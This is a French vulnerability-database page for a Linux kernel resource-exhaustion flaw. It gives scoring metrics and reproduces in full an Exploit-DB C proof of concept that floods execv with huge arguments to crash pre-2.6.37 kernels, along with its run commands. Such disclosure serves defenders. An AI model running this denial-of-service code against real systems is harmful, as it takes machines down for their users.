Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-400 |
Uncontrolled Resource Consumption The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
4.9 |
|
AV:L/AC:L/Au:N/C:N/I:N/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 15619
Date de publication : 2010-11-25 23h00 +00:00
Auteur : Roland McGrath
EDB Vérifié : No
// source: https://www.securityfocus.com/bid/44301/info
/* known for over a year, fixed in grsec
bug is due to a bad limit on the max size of the stack for 32bit apps
on a 64bit OS. Instead of them being limited to 1/4th of a 32bit
address space, they're limited to 1/4th of a 64bit address space -- oops!
in combination with vanilla ASLR, it triggers a BUG() as the stack
tries to expand around the address space when shifted
Below mmap_min_addr you say? uh oh! ;)
Reported to Ted Tso in December 2009
Linus today (Aug 13 2010) silently fixes tangential issue:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893
The second bug here is that the memory usage explodes within the
kernel from a single 128k allocation in userland
The explosion of memory isn't accounted for by any task so it won't
be terminated by the OOM killer
curious what actual vuln was involved that they were trying
to silently fix, as I don't think it's the one below
clobbering data in a suid app by growing the stack into the mapping
for the image? ;) I smell privesc...mumblings of X server/recursion
ulimit -s unlimited
./64bit_dos
SELinux is here to save us though with its fine-grained controls!
Wait, it doesn't?
Clearly the solution is to throw a buggy KVM on top of it
Not enough? Ok, we'll throw in an extra SELinux, that'll really
throw those hackers off when they use the same exact exploit on the
host as they do on the guest!
COMMON CRITERIA HERE I COME!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/personality.h>
#define NUM_ARGS 24550
int main(void)
{
char **args;
char *str;
int i;
/* not needed, just makes it easier for machines with less RAM */
personality(PER_LINUX32_3GB);
str = malloc(128 * 1024);
memset(str, 'A', 128 * 1024 - 1);
str[128 * 1024 - 1] = '\0';
args = malloc(NUM_ARGS * sizeof(char *));
for (i = 0; i < (NUM_ARGS - 1); i++)
args[i] = str;
args[i] = NULL;
execv("/bin/sh", args);
printf("execve failed\n");
return 0;
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (excluding) 2.6.37
Références